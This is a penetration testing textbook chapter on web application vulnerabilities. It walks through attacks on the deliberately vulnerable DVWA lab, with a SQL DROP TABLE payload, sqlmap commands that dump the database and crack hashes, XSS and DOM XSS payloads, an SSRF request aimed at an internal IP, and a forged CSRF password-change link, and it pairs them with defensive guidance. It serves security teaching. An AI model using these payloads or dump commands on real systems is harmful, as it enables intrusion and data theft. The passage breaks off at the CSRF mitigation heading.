Web application penetration testing entails a technical series of steps aimed at collecting information about a target web application, locating vulnerabilities or errors in them, and looking for exploits that will succeed against those errors or vulnerabilities and compromise the web application. Due to the substantial development of web applications, an increasing number of internet resources are being spent on creating the software in addition to setting up the applications to work correctly on this new landscape. Performing web application penetration testing as part of your Software Development Life Cycle or SDLC process would be the most economical method for eradicating web application vulnerabilities.

Structure

In this chapter, we will cover the following topics:


	Introduction to web applications

	Standard web application setup and architecture

	Some important concepts about HTTP protocol

	Open Web Application Security Project (OWASP)

	Types of web application vulnerabilities

	The Open Web Application Security Project (OWASP) and OWASP Top 10

	Broken access control

	Cryptographic failures

	Injection

	Insecure design

	Security misconfiguration

	Vulnerable and outdated components

	Identification and authentication failures

	Software and data integrity failures

	Security logging and monitoring failures

	Server-side request forgery



	Introduction to API

	API security

	Common API security problems 

	Broken object level authorization

	Broken user authentication

	Lack of resources and rate limiting

	Injection





Objectives

After studying this chapter, you should have a clear understanding about the web application threat landscape and the most popular attacks on them. This chapter will also deep dive into different web application penetration testing methodologies, tools and techniques to find security loopholes in a web app. Along with that, we will discuss prevention methodologies for these web application attacks.

Introduction to web applications

A web application (or web app) is an application software that operates on a web server, unlike computer-based software applications that run locally on the operating system (OS) of the device. Web applications are accessed by users through a web browser with a network connection. These applications are programmed using a client/server designed framework, and the user (client) is provided services through an off-site server that is hosted by a third-party. Commonly used web applications include web mail, internet retail sales, online banking, and online public auctions. Web applications do not need to be downloaded because they are accessed via a network. Users can access a web application through a web browser such as Google Chrome, Mozilla Firefox, or Safari.

For a web app to run, it needs a web server, application server, and a database. Web servers take care of the requests that originate from a client, while the application server completes the requested job. A database can be used to store any type of required information. TCP port 80 (for HTTP) and TCP port 443(for HTTPS a.k.a. Secure HTTP) are the two standard ports used by web servers to communicate with the clients/web browsers.

Standard web application architecture

A web application is an intricate piece of software. It has a lot of elements, like the user interface (also known as the frontend), an application business logic, the database, and so on. To manage these elements, engineers designed web application architecture to logically define the relationships and methods of interactions between these components.

It's not very complicated to define standard web application architecture by demonstrating how every components of works together:


[image: ]

Figure 4.1: Standard web application architecture

Every web application consists of a frontend and a backend, as shown in Figure 4.1.

The frontend of a web application is everything that a user sees and interacts with on their web browser. The main function of the frontend is to accumulate data from users. It is commonly written in languages like HTML, CSS, and JavaScript. The frontend components (HTML, CSS, and JavaScript) are generally saved in static files, and they are saved in the filesystem of any web server. When a user requests a web page, the web server first delivers the static content (.js , .css , .html files etc.) straight into their web browser, which is rendered by the web browser to create a graphical user interface for the user.

Next, we have the backend, also known as the server-side of the application. It is the part that is not accessible by users; it stores and processes the information passed from frontend. The backend processes HTTP requests, which essentially bring the data (message, images, data, and so on) required by the user. Unlike the frontend, several languages like PHP, Java, Python, JavaScript (Node.js), and others can be used to develop the backend of a web application.

To understand how the frontend and backend communicate with each other, we must intercept the traffic between a web browser/client and a web server. As discussed earlier, we can do this using intercepting tools like Burp Suite. If we do that, we get to see that requests are being transmitted, as shown in Figure 4.2:
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Figure 4.2: Raw HTTP request and response

In figure 4.2 we can see on the left we have request and on the right we have server response. Here we see six main things highlighted in red


	Method: When a frontend application has to send data to a backend application, it needs to use an HTTP method (for example, GET, POST, HEAD, PUT, and so on). In this case, HTTP method POST is being used to send data to the backend. The GET method is usually used to fetch data from the server.

	Request handler path (where backend application logic resides): Once data is sent to a backend application, the backend application should know how to handle the data and what to do with it. The backend (server side) code handles the data and processes the request accordingly. In this case, the backend server-side code to handle this request is written and hosted on the doLogin file and has the logic to process the request and respond accordingly.

	The data or HTTP payload: The third important thing is the data being sent. Generally, frontend applications pass data to backend applications through several parameters. In this case, it’s passing parameters called username, password, and Login, with their respective values, which will eventually be handled by the application logic written in the doLogin file hosted on the web server.

	Request headers: Request headers are some key value pairs that are sent by the browser every time we send any request to any web server. Request headers are usually not visible in the browser GUI, but they can be seen in HTTP debugger. Request headers will have values for the server to process HTTP requests in certain ways.

	HTTP response code: Once a request is received and processed by the web server, it sends the response back to the client. HTTP protocol uses a standard set of code to help clients understand if the request is a success or failure. The HTTP response status code 302 Found (as shown in Figure 4.2) is a common way of performing URL redirection.

	HTTP response headers: HTTP response headers are appended by the web server with every request. Just like request headers, they are key value pairs that help a client/browser understand how to process or render the response.



We also have a response body that is appended after the response header. The response body is the data that the web server sends back to us and we see in the browser post rendering.

Some important concepts about HTTP protocol

Before you jump into the different web application vulnerabilities, you must have some basic knowledge of web and HTTP protocol. In this section, we will go through some of these concepts.

HTTP session management

HTTP is a stateless protocol, which indicates that there are no built-in ways to keep track of requests that are related. Each request is treated as an independent request. HTTP uses client-server architecture and utilizes TCP as its transmission protocol, and multiple requests can be simply sent out over one TCP connection. However, these are additionally considered independent by both the client and the server. The obvious question that appears here is, then how does HTTP protocol maintain sessions? The answer is though cookies. Cookies are name-value pairs that are kept on the browser and sent automatically in subsequent HTTP requests. The server produces them and sends them to the client by utilizing the set-cookie HTTP response header. A cookie is sent from the browser using the cookie request header. The cookie header sends out name-value pairs separated by semicolons. The set-cookie header contains added directives and parameters for cookies. These aid browsers in recognizing just how and when to submit them. As long as the URL asked for is within the same domain and path defined in the cookie the cookie will be sent with every request. Tracking sessions is very important for generation, transmission, and storage of delicate session tokens. Any kind of misconfiguration at any stage might put the security of users' data at risk. Some factors ought to be kept in mind while establishing an application that keeps user sessions.

Same-origin security policy

The same-origin policy is a web browser security system that aims to stop websites from attacking each other. The policy limits scripts of one origin from accessing data on another origin. An origin contains a URI scheme, domain name, and port number. As an example, consider the following URL:

http://store.example.com/dir/page.html

The following table gives examples of origin comparisons with the above URL:








	
URL


	
Outcome


	
Reason





	
http://store.example.com/dir2/other.html


	
Same origin


	
Only the path differs





	
http://store.example.com/dir/inner/another.html


	
Same origin


	
Only the path differs





	
https://store.example.com/page.html


	
Failure


	
Different protocol





	
http://store.example.com:81/dir/page.html


	
Failure


	
Different port (http:// is port 80 by default)





	
http://news.com/dir/page.html


	
Failure


	
Different host






Table 4.1: Web browser same-origin security policy

When a browser sends an HTTP request from one origin, any kind of cookies (consisting of authentication session cookies) appropriate to the domains are also sent out as part of the request. This means that the response will be generated within the user's session, and it will consist of any kind of pertinent data that is specific to the user. Without the same-origin policy, if you went to a malicious site, it would be able to read your e-mails from Gmail, personal messages from Facebook, and so on.

Authentication versus authorization

While authentication and authorization are frequently used interchangeably, they are separate procedures aimed at protecting a system or company from cyberattacks.

Authentication

The process of validating or checking that the asserted identification of a user/device/resources is legitimate is called authentication. Among one of the most usual kinds of authentication is using a password (which might consist of the password, a type of identification numbers (PINs), or a passphrase). Authentication validates the identification of the subject/user by comparing one or more factors against the database of legitimate identities (for example, previously created user accounts). The authentication factor utilized to validate identification is generally classified as, or thought about to be, exclusive information, and it needs to just be known to the user/subject. The ability of the system to keep the secrecy of the authentication elements for identities directly shows the level of security of that system.

Authentication is the first step in access control, and there are three common aspects utilized for authentication:


	Something you know (such as a password)

	Something you have (such as a smart card)

	Something you are (such as a fingerprint or other biometric method)



Authorization

Once a subject (for example, user) is validated, access must be given to certain requested resources. The process of authorization ensures that the requested access to an object/resource is valid, and the requester has the legal rights designated to the confirmed identification. For the most part, the system assesses an access control matrix, RBAC or Role Based Access Control, that maps the subject/user, the object/resources, and the desired permission. If the particular activity is allowed, then access is granted. If the requirements are not fulfilled, the request is denied.

Even if a user has been recognized and validated, it does not mean they have access to all the resources within the system or that they have been accredited to execute any type of features. For example, it is possible for a user to be allowed into a network but be blocked from accessing a documents or printing device. A majority of network users are authorized to carry out just a limited number of activities. Identification and authentication is an all-or-nothing aspect of access control, however authorization has a wide range of variations in between all or nothing for every object within the system.

Different types of web application vulnerabilities

Organizations and their operating procedure continue to change frequently, welcoming brand new customers and customer experiences. Simultaneously, malicious actors upgrade their attack methodologies to address this shift. Bad actors continue to find new vulnerabilities in web applications and exploit them for their benefits. To maintain user data security and their privacy, companies must safeguard against these common web application vulnerabilities:


	Broken access control

	Broken authentication

	Carriage Return and Line Feed (CRLF) injection

	Cipher transformation insecure

	Components with known vulnerabilities

	Cross-Origin Resource Sharing (CORS) policy

	Credentials management

	Cross-Site Request Forgery (CSRF)

	Cross-Site Scripting (XSS)

	Directory indexing

	Directory traversal

	Error handling

	Failure to restrict URL access

	HTTP response splitting

	HTTP verb tampering

	Improper certificate validation

	Injection flaw

	Insecure cryptographic storage

	Insecure deserialization

	Insecure digest

	Insecure Direct Object References (IDOR)

	Insufficient logging and monitoring

	Insufficient session expiration

	Insufficient transport layer protection

	Lightweight Directory Access Protocol (LDAP) injection

	Missing function level access control

	Operating System (OS) command injection

	Race condition

	Remote Code Execution (RCE)

	Remote File Inclusion (RFI)

	Security misconfiguration

	Sensitive data exposure

	Session ID leakage

	SQL injection

	Unrestricted file upload

	Invalidated automatic library activation

	Invalidated redirects and forwards

	XML External Entities (XXE)



It’s almost impossible to cover all these vulnerabilities in a single chapter, so we are going to discuss some of the most popular vulnerabilities and how bad actors usually find and exploit them.

The Open Web Application Security Project (OWASP) and OWASP Top 10

The Open Web Application Security Project (OWASP) is a non-profit foundation that aims to enhance the security of software. OWASP Top 10 is an online record on OWASP's website that lays out ranking and remediation assistance for the top ten web application security threats.

The information is based on a consensus among security experts. The risks are rated and based on the frequency of discovered security flaws, the extent of the vulnerabilities, and their possible impacts. The goal of the report is to use programmers and web application security specialists’ wisdoms of the latest security threats so that they can integrate the findings and suggestions into their security practices, decreasing the presence of these well-known threats in their applications.

Introduction to DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is extremely vulnerable. Its main goals are to aid security professionals in testing their skills and tools in a legal environment, help web developers better understand the processes of securing web applications, and aid teachers/students in teaching/learning web application security in a classroom environment.

Students can download DVWA source code from the https://dvwa.co.uk/ website and manually configure it in the local system with Apache, PHP, and MySQL. However, a prebuilt ISO file can also be downloaded from https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/ and can be run straight on a virtual machine. Remember that VulnHub is a free community resource, so we are unable to check the machines that are provided to us. Before you download, read our FAQs sections that deal with the dangers of running unknown VMs and go through our suggestions for protecting yourself and your network. If you understand the risks, please download!


	Once you launch the ISO through any virtualization platform, like VMware or VirtualBox, you should see a prompt. To be able to access the vulnerable application, you must find the IP of the DVWA VM. You can do that by executing the ifconfig command, as shown in the following screenshot:

[image: ]

Figure 4.3: DVWA console


	Once we have the IP address of the VM (which is 192.168.15.141 in my case, as seen in Figure 4.3), you should be able to access the application by visiting http://192.168.15.141/. If the setup is successful, you should see the following page in your browser:

[image: ]

Figure 4.4: DVWA login page


	The default username and password for the DVWA application is admin and password. Once you log in to the application, you will be redirected to the main interface of DVWA. The first thing to do after logging in is to reduce the security difficulty level of the application to low from high/medium, as shown in Figure 4.5:

[image: ]

Figure 4.5: Reducing DVWA difficulty level




Now, we will deep dive into the different web application vulnerabilities listed in OWASP TOP 10 and try to understand some of them with respect to the DVWA application.

Injection

Injection is the most popular security risk listed in OWASP Top 10. Injection is an attacker's attempt to send malicious code to an application in the form of legitimate data. In this section, we will discuss the most commonly seen injection flaws, such as SQL Injection and Cross-Site Scripting.

SQL Injection

An SQL Injection attack is possible when developers don’t sanitize user input before executing database queries. Let’s try to understand SQL injection with very basic example. Let’s say an end user of a website can fetch his/her profile information using an url : https://site.com/profile?id=123. In the following example, the parameter id from an application user is considered untrusted:

varUserId = getRequestString("id");

SQLQuery = "SELECT * FROM Users WHERE UserId = " + varUserId;

One thing we can notice here, in the second line, is that the developer has directly used the id parameter sent by the untrusted user to craft the SQL query. When a user passes a valid user ID, for example, 1234, the SQL query would look like this:

“SELECT * FROM Users WHERE UserId = 1234“

However, if the attacker sends 123; DROP TABLE Users; value with the id parameter, the SQL interpreter executes two queries instead of one:


	SELECT * from Users WHERE UserId = 1234

	DROP table Users



The second query will do really nasty stuff as it’s going to delete the Users table from the database.

On a very high level, there are two types of SQL Injections:


	Error-based SQLi

	Blind SQLi



Error-based SQL injections are the type of issues where a target web application throws a database/SQL error upon sending malformed input. When testing any application for SQL injections, a pen tester first probes by sending malformed input, such as a single quote, to the application. If the application throws a database error, it is most likely vulnerable to error-based SQL injection. On the other hand, blind SQL injection is where the target application doesn't respond with a database error message; it just behaves differently when malformed data is sent.

Error-based SQL Injection

DVWA consists of a few SQL Injection vulnerabilities. We will take a look at how we can identify such SQLi vulnerabilities manually, and then we will learn how to exploit that vulnerability using some open-source tools. The most popular tool is sqlmap. We will see how we can exploit SQLi using the SQLMap tool:


	To be able to run the SQLMap tool, first you must identify the parameter and the URL you want to test SQLi Injection for. In the case of DVWA, if you navigate to the SQL Injection section, you should see a text field asking for the user ID, as shown in Figure 4.6:
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Figure 4.6: DVWA SQL Injection


	When you enter a keyword in the user ID field, you should see that the frontend application is sending a GET request to the server with the id and Submit parameters and that the URL has changed to something like this:
http://192.168.15.142/vulnerabilities/sqli/?id=debasish&Submit=Submit#


	In the case of DVWA, it’s already known that this component is vulnerable to SQL Injection. For a moment, let’s assume that we are not aware of this, and we need to determine whether any of the parameters are vulnerable to SQL Injection. As a pen tester, the first thing you can do is add a single quote in the parameter value:
http://192.168.15.142/vulnerabilities/sqli/?id=debasish’&Submit=Submit#
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Figure 4.7: DVWA SQL error


	If we encounter any database-related errors, it means the server-side application is probably not performing proper sanitization on the parameter. There is a possibility that the application is vulnerable to SQL Injection. Pen testers can always perform SQL Injection manually to extract useful information from the database, but we can do that using automated tools as well. We will see how we can do that using the SQLMap tool on the DVWA application.

	Once you download and set up the SQLMap tool from https://sqlmap.org/, if the setup is correct, you should see the following interface when you execute it:
 python sqlmap.py
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Figure 4.8: SQLMap console


	Now, to be able to test the id parameter for SQL Injection in DVWA, we need to execute the following command:
python sqlmap.py -u http://192.168.15.142/vulnerabilities/sqli/?id=debasish --cookie="PHPSESSID=spd4dl1703jr3kde6ifshn4mi1; security=medium"

Let’s understand the arguments we are passing to the SQLMap tool here:


	-u: We are passing the entire URL that we want to test for SQL Injection. When you pass multiple parameters at once, SQLMap will test all of them for injection.

	-cookie: The DVWA SQL Injection module is only accessible to logged in users. Hence, we must collect the cookies from the browser or interceptor post logging in to DVWA and pass it to SQLMap so that it can access the vulnerable component for testing.



	Once we run SQLMap, it will show a lot of information on the fly. Figure 4.9 shows that SQLMap has suspected the id parameter to be vulnerable, and it has also detected the backend database to be MySQL:
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Figure 4.9: SQLMap detected DB as MySQL


	After that, you will find SQLMap performing other tests as well to confirm the injectability. At the end, you will find a scan summary (as shown in Figure 4.10) where it shows the details of the SQL Injection test it has performed:
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Figure 4.10: SQLMap scan summary


	Once SQLMap confirms the SQL Injection vulnerability, it provides testers with a lot of advanced options to extract more information from the database. To do that, we just add the -a command line flag to the existing command line argument:
python sqlmap.py -u "http://192.168.15.142/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie="PHPSESSID=ee7jo0ock8sijnve7egdtb9ge2; security=low" -a


	Once we do that, it will start fetching a lot of information about the database, such as DB user, hostname, and available databases, as shown in Figure 4.11:
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Figure 4.11: SQLMap output


	Then, we can try to dump database tables as well by just appending the -tables flag:
python sqlmap.py -u "http://192.168.15.142/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie="PHPSESSID=ee7jo0ock8sijnve7egdtb9ge2; security=low" -a -tables

SQLMap will start fetching the available tables from the database, as shown in Figure 4.12:
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Figure 4.12: SQLMap output


	SQLMap also allows us to dump an entire database. We just need to add the --dump flag along with the database name that we want to dump. In this case, it is dvwa:
python sqlmap.py -u "http://192.168.0.111/vulnerabilities/sqli/?id=123&Submit=Submit" --cookie="PHPSESSID=ee7jo0ock8sijnve7egdtb9ge2; security=low" --dump dvwa

We will soon see that SQLMap is printing tables and the content of the database, as shown in Figure 4.13:
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Figure 4.13: SQLMap database dump


	If SQLMap finds hashed passwords in the database, it also has the option to automatically crack the password. Figure 4.14 shows SQLMap automatically cracked dvwa password hashes:
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Figure 4.14: SQLMap password hash cracking


	There are plenty of other options with rich sets of features in SQLMap, which we highly recommend you to go through and explore:
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Figure 4.15: SQLMap - Other features




In this particular example, we have seen SQL Injection through the GET parameters, but SQL Injection can happen anywhere through any HTTP method.

SQLMap also tests target applications for blind SQL Injection in case there is no database error seen. We recommend that you test SQLMap against the blind SQLi component of DVWA; this will be left as an assignment. Also it's worth remembering, in this example sqlmap was successful as the nature of the vulnerability was quite straightforward. However you might encounter situations where sqlmap is not able to exploit the sql injection vulnerability. In such scenarios manual intervention is a must. To be able perform sql injection manually extensive knowledge of SQL is required, hence we highly recommend you to learn some SQL basics.

SQL Injection cheat sheet

An SQL Injection cheat sheet is a resource in which you can find detailed technical information concerning the many different variations of the SQL Injection vulnerability. This cheat sheet is of good referral to both experienced penetration tester and those who are just starting off in web application security. A list of SQL Injection payloads can be found on the following page, which we highly recommend you to explore:

https://portswigger.net/web-security/sql-injection/cheat-sheet

Primary defenses against SQL Injection

These are the OWASP recommended primary defense mechanisms that can be implemented to prevent SQLi from happening or reduce the impact:


	Using prepared statements (with parameterized queries)

	Using stored procedures

	Allow-list input validation

	Escaping all user supplied input

	Enforcing least privilege

	Performing allow-list input validation as a secondary defense



Cross Site Scripting (XSS)

Cross Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into benign and trusted websites. Cross Site Scripting happens whenever an application takes untrusted data and sends it to the client (browser) without any server-side validation.

Let’s understand that with respect to DVWA. Once we navigate to the reflected XSS module of DVWA, we see that the application asks for the user's name. Once we enter the name, it sends back our name, as shown in Figure 4.16:
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Figure 4.16: DVWA XSS

XSS attacks occur when an attacker uses a web application to send back malicious code, generally in the form of a client-side script, to a different end user. If we intercept the request and response in Burp Suite, we get to see that the server-side application is giving us the passed string, which is debasish in this case, as shown in Figure 4.17. When we encounter such behavior in any application, we must remember that the application might be vulnerable to cross site scripting flaws:
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Figure 4.17: Burp Suite

Upon encountering such application behavior, the first thing we need to verify is that the application is performing sanitization on the parameter (the parameter is name in this case) value. To do that, we simply pass a few special characters to it. As seen in the following figure, we simply passed <debasish/\>, and in response, we get to see that the server-side application is sending the exact input with special characters back to us without performing any sanitization, as shown in Figure 4.18:
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Figure 4.18: Burp Suite input sanitization check

If we encounter an application behaving this way, there is a possibility that it is vulnerable to XSS.

Types of XSS

There are mainly two types of Cross Site Scripting.

Reflected XSS

Reflected XSS, also called non-persistent XSS, takes place when user input is immediately returned by a web application in an error message/search outcome or when the input us supplied by the user as part of the request and without completely saving the user’s given data.

We have just seen the XSS module of DVWA application, where the server-side application is sending back user input to the client without performing any sanity check. Now, instead of a harmless string, let’s enter a tiny piece of JavaScript into it:

<script>alert(‘XSS’)</script>
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Figure 4.19: DVWA XSS

Once we enter that, we immediately see a JavaScript popup with the message XSS, as shown in Figure 4.20:
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Figure 4.20: DVWA XSS

Here, we sent a small JavaScript code to the server through the GET parameter name. The server processed the request and sent the JavaScript back to the browser intact. When the code we injected reached the browser, the browser parsed the code as part of the actual web page and executed it. There is no way for the browser to understand that the code was injected maliciously by the attacker. During XSS, the injected code always gets executed in the context of the main domain of the website, so the injected code can literally access all the resources of the website, bypassing same-origin security policy. We should be able to imagine the security impact of an XSS vulnerability.

Stored XSS

Stored XSS, also known as persistent XSS, happens when user input is stored on the target server, such as database/message forum/comment area. Then, the target is able to obtain the stored data from the web application.

Let’s explore the stored XSS module of DVWA. This module allows the user to leave name and a message to the page. Once a user enters the name and message, it gets saved in the page permanently, as shown in Figure 4.21:
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Figure 4.21: DVWA stored XSS

Remember, whenever you encounter such behavior, where user provided input gets saved permanently in the database. This poses a significant risk of persistent XSS. Just like reflected XSS, the next thing you have to check is whether the application is performing any sanitization on the given input before saving it to the database or sending the response back to the browser. It can be done by injecting some special characters, like you saw in the case of reflected XSS.

If we intercept the request DVWA sends while submitting the message and name to the server, we see something like Figure 4.22:
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Figure 4.22: Raw HTTP request

Now, to test XSS, we simply inject the same payload <script>alert(‘xss-name’)</script> in the following parameters:


	txtName

	txtMessage
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Figure 4.23: Injecting XSS payload in Burp

Once the message is submitted, we immediately see two popups saying xss-name and xss-message, as shown in Figure 4.24 and Figure 4.25, which implies that both the parameters are vulnerable to cross site scripting:
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Figure 4.24: DVWA XSS name parameter


[image: ]

Figure 4.25: DVWA XSS message parameter

A penetration tester should be very cautious while testing an application for stored XSS in a production environment as it might cause significant damage to a target application.

DOM-based XSS

DOM-based XSS is a type of XSS when the source of the data is in the DOM, consumed and executed in the DOM, and the XSS payload never leaves the browser. Let’s try to understand DOM-based XSS with respect to DVWA. Let’s navigate to the DVWA DOM XSS module. We get to see that it allows us to choose a language and submit it, as shown in Figure 4.26:
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Figure 4.26: DVWA DOM XSS

When we do that, we see that the page is reloaded with the parameter named default and has the value we gave it when we did our selection. Also, the drop-down list is automatically set on our selection. The URL we see in the browser is:

http://192.168.0.111/vulnerabilities/xss_d/?default=English

To understand DOM XSS, we have to understand the source code of the page. When we view the client-side code of the page, we see the Figure 4.27:
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Figure 4.27: DVWA Dom XSS source code

We can see a few calls to document.write. This JavaScript function writes some text directly to the HTML document. It could be script, HTML, or something else. You have to remember, if the content being written using document.write is not properly sanitized, DOM XSS can occur. As we can see, the code writes the drop-down list so that the default value is the one we selected previously. The code retrieves the selected language from the GET parameter:

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8)

It then uses it to write the first option of the drop-down list using document.write:

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

It’s clear that the application is not performing any sanity check before writing it to the page. Now, we try to build a parameter so that the code writes the following HTML.

Here is the parameter we send instead of English:

English'></option><script>alert(‘dom-xss-test’)</script>

The final URL will look something like this:

http://192.168.0.111/vulnerabilities/xss_d/?default=hello'></option><script>alert(‘dom-xss-test’)</script>

Once we execute this, we should immediately see a popup saying dom-xss-test. What you might have noticed here, unlike typical XSS the XSS payload we delivered to the application never really went to the server. It is parsed and executed at the client/browser side by the poorly written JavaScript code.

XSS cheat sheet

Just like SQLi, XSS vulnerabilities are not always very easy to find as most developers are well aware of some basic prevention mechanisms for XSS. Hence, while testing any application for XSS, simple payload like <script>alert(‘xss’)</script> might not work. You may have to try different payload combinations to test the application. To do that, XSS cheat sheets are very useful. The following list has a good set of XSS payload script that pen testers can use during their pen test:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Stopping XSS attacks

An attacker can exploit a cross-site scripting vulnerability in many ways:


	Read any data that the user can access

	Impersonate or masquerade as the victim user

	Inject Trojan functionality into the website

	Perform virtual defacement of the website

	Carry out any action that the user can perform

	Capture the user's login credentials



Stopping cross-site scripting is important in many cases, but it can be much more difficult relying on the intricacy of the application and the ways it takes care of user-controllable data.

As a whole, successfully preventing XSS vulnerabilities is most likely to involve a mix of the following measures:


	Encode output data in response: At the point where user-controllable data comes out in HTTP responses, encode the outcome to stop it from being taken executable content. Depending upon the output context, use combinations of HTML, URL, JavaScript, and CSS encoding.

	Filter input request data: At the point where user input is received, filter as strictly as feasible based on what is anticipated or legitimate input.

	Usage appropriate response headers: To avoid XSS in HTTP responses that aren't planned to have any type of HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers translate the responses in the method you intend.

	Set httponly cookie flag: If we set the httpOnly cookie flag in the response header, the cookies are not accessible through JavaScript. It makes XSS exploitation a little difficult, but it doesn't eliminate the risk completely.

	Content security policy: As a last line of protection, you can use Content Security Policy (CSP) to minimize the extent of any type of XSS vulnerabilities that still take place.



Security misconfiguration

Security misconfiguration is just defined as falling short to apply all the security controls for a server or web application, or as doing that with serious errors in it. What a business considered as safe configuration may have serious security gaps or errors that usually leave the company open to security risks. According to the OWASP Top 10, this type of misconfiguration is at number six on the list of essential web application security threats. Here are some examples of common security misconfigurations:


	Administration ports are used by system administrators for major system configuration changes. When administration ports are open for an application or service, they expose the application to remote attacks.

	Allowing directory listing, which might allow users to view all files/folder structure of a server.

	Disclosing sensitive files due to configuration errors.

	Outbound connections to various internet services might disclose unwanted behavior of the application in a crucial environment.



Finding sensitive information disclosed through misconfiguration

If servers are misconfigured, it unintentionally discloses a lot of information. Manually finding them can be tedious. Though there are many commercial automated scanners available that can identify such issues easily, there are also free/open-source tools available that allow us to find such misconfiguration though different methodologies. One of the tools is dirsearch, which uses Brute Force methodology to find sensitive information disclosure due to misconfiguration. The tool is available on this GitHub repository: https://github.com/maurosoria/dirsearch. Once you download and install the script, you should be able to access the tool from the command line.

Running this tool is quite simple:

dirsearch -u https://www.yourtarget.xyz/

If we run the tool on DVWA, it gives us plenty of information that the server discloses due to misconfiguration, as shown in Figure 4.28:
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Figure 4.28: Running dirsearch tool against DVWA

This tool has a list of predefined paths that it tries to access using Brute Force approach and starts printing the findings on screen. We will now review some of the findings on DVWA.

DVWA Apache server-info enabled

Apache /server-info displays information about your Apache configuration. DVWA is misconfigured in a way that it discloses Apache server information pages:
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Figure 4.29: DVWA Apache server-info enabled

DVWA SVN repository exposure

DVWA also exposes one SVN repository:
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Figure 4.30: DVWA SVN repository exposure

An attacker can extract sensitive information by requesting the hidden metadata directory that the popular version control tool Subversion creates. Hence, the web server should be configured in a way that it does not expose any SVN repository.

DVWA Apache server status disclosure

DVWA is misconfigured in a way that it discloses Apache server status file, which leaks a lot of server configuration information:
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Figure 4.31: DVWA Apache server status disclosure

DVWA directory listing vulnerability

A directory listing provides an attacker with the complete index of all the resources located inside the directory. A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers. The dirsearch tool easily gives us the following exposed directory:

/dvwa 

/dvwa/css 

/dvwa/images 

/dvwa/includes 

/dvwa/includes/DBMS 

/dvwa/js 

/vulnerabilities

We can easily validate this by visiting the respective URLs:
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Figure 4.32: DVWA directory listing

Server-side request forgery

In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. It enables an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choice.

Example of SSRF

In a common SSRF attack, the attacker could trigger the server to make a connection to internal-only services within the company's facilities. In other instances, they might be able to force the server to connect to arbitrary external systems, potentially dripping delicate data such as authorization credentials. To understand SSRF, let’s look at the infrastructure shown in Figure 4.33:
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Figure 4.33: SSRF example

Here, an external user communicates with the web server through Firewall. Let’s say the web server has a feature for which it has to communicate with a third-party API (in this case, it is https://api.external.com/) and fetch information. Let’s say it has to send the following request to the server to fetch the information:

https://mywebserver.com/callapi.php?url=https://api.external.com/userid=1234&type=all

When the user sends the following GET request to the web server, the web server internally sends a HTTP call to api.external.com and fetches the info and gives it back to the user. The figure also has some other components. Internal Server 1 and Internal Server 2 within the web server network are not publicly exposed but are connected to the same internal network.

Now, imagine that the external user sends the following request to the web server:

https://mywebserver.com/callapi.php?url=http://10.2.1.1/

If the server is vulnerable to SSRF, it will blindly make a call to the internal server 1 http://10.2.1.2/ and give the content of the internal web server hosted on that. This is typical SSRF attacks against the backend system. However, SSRF attacks can also be performed on the server itself.

Mitigation for SSRF

Several protective measures are possible at the application and network layers for SSRF. To apply the defense in depth principle, both layers will be hardened against such attacks. The first level of protection that comes to mind is input validation. A regex can be used to ensure that the data received is valid from a security point of view if the input data has a simple format (for example, token, and zip code). When dealing with IP, we need to ensure that the IP address provided belongs to one of the IP addresses of the identified and trusted applications. If the application is dealing with domain names, ensure that the domain name provided belongs to one of the domain names of the identified and trusted applications (the allow listing comes to action here).

Server Side Request Forgery (SSRF) versus Cross Site Request Forgery (CSRF)

Unlike SSRF, the target of a CSRF attack is the user. Let’s understand CSRF with respect to DVWA. A DVWA admin can log in to the DVWA web application with the default username and password, which is admin and password. DVWA has a vulnerable CSRF change password feature:
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Figure 4.34: DVWA CSRF

When we submit the form and intercept the HTTP request using Burp, we see an HTTP request being sent to the server, as illustrated in Figure 4.35:
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Figure 4.35: DVWA CSRF

We should see a couple of things here:


	The new password is being sent over GET request, which is the URL but is terribly wrong.

	The application doesn’t ask for the user's old password, which is also not a good practice.

	The browser is sending session cookie PHPSESSIONID, without which the password change feature will not be accessible. For example, if any hacker tries to change the password of an admin user by sending a get request, the password change will not be successful as the hacker will not have a valid session cookie with the request. In Figure 4.36 shows that when a request to change password module is sent without session cookie, the user is redirected to the login page:
http://192.168.0.111/vulnerabilities/csrf/?password_new=mynewpassword&password_conf=mynewpassword&Change=Change;
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Figure 4.36: DVWA CSRF example

Now, to be able to successfully change the password of the admin user, the hacker should be able to trigger the change password request from the admin's browser, when the admin is logged into their admin account. The hacker can do that using a CSRF attack. Remember that CSRF attacks always need some sort of social engineering, which means a hacker will have to somehow convince the victim user to click on a link or open a web page:
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Figure 4.37: CSRF scenario

Let’s get back to our DVWA application. Here, the admin user logged into their account. Point to note here: the browser of admin user has valid session cookie. Hence, all requests that an admin user’s browser sends to DVWA application, the valid session cookie will be sent to DVWA web server along with all HTTP requests.

Now, the hacker sends the following URL to the admin user, and the admin user opens the link in the same browser from where they have logged in to the admin account:

http://192.168.0.111/vulnerabilities/csrf/?password_new=mynewpassword&password_conf=mynewpassword&Change=Change ;

Now, when the admin user clicks on the crafted URL, they will unintentionally send the password change request to DVWA web server, which will change the account password to mynewpassword. Once the attack is executed, the attacker can log in to the admin account using the newly changed password. However, the admin user will not be able to login using the old password.

In this example, the CSRF attack was performed using GET method, as the application was accepting the request through URL. However, CSRF attack can also be executed using POST requests when required; that needs crafting a HTML form, as seen in Figure 4.38:
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Figure 4.38: CSRF exploit HTML template

Here, we have created a simple HTML form that will be submitted automatically when a user opens it in a web browser. The attacker will have to set the new password in the HTML form and then host this HTML file somewhere and send the link to the victim. When the victim opens the page, a CSRF attack will be executed. The Burp Suite Professional version has a feature to generate CSRF attack files very easily, as shown in Figure 4.39:
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Figure 4.39: Generate CSRF exploit using Burp Suite

Mitigation for CSRF

